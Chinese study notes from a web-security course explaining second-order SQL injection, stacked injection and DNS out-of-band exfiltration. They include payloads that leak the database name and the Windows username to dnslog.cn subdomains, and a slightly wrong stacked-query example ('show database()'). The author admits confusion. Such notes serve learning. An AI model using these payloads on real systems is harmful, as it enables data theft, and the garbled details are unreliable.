第三十天:WEB攻防-通用漏洞&SQL注入&CTF&二次&堆叠&DNS带外

有一说一,这节课我不是很懂,听的很懵逼

二次注入

SQL注入中的二次注入常见于 注册 新建 等功能点,当我们注册一个新的账号时,需要我们设置我们的 邮箱,用户名,密码。但是当我们成功注册后,登录只需要邮箱与密码即可完成登录,且进入后台用户中心后,我们也可以发现我们的用户名会被显示出来,这就是SQL注入的常见出现流程

我们在注册新的账号时,如果使用了 ‘’ “” 等符号 ,会被转义。所以我们常使用的sql注入payload 都会失去效果,但是当该payload被存入数据库在被引出使用的时候是原样输出,不会被过滤转义。这就是二次注入的原理了。

堆叠注入

堆叠注入是原本的SQL语句 select * from user where username=‘bliss’

然后我们可以通过传入payload username = 1’ ; show database()#来进行让他执行两条sql语句

植入payload的sql语句 :select * from user where username=‘1’ ; show database()# 一次执行两条语句,但是堆叠注入的实战情况下很少,条件有:存在sql注入 对 ; 不过滤 数据库支持一次执行多条sql语句

DNS外带

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入:

select load_file(concat(‘\’,(select database()),‘.7logee.dnslog.cn\aa’));

and (select load_file(concat(‘//’,(select database()),‘.69knl9.dnslog.cn/abc’)))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

但是很少使用,因为无回显常常会考虑时间盲注等其他方法,使用dns注入效率不高

你可能感兴趣的:(网络安全,sql,数据库,mysql)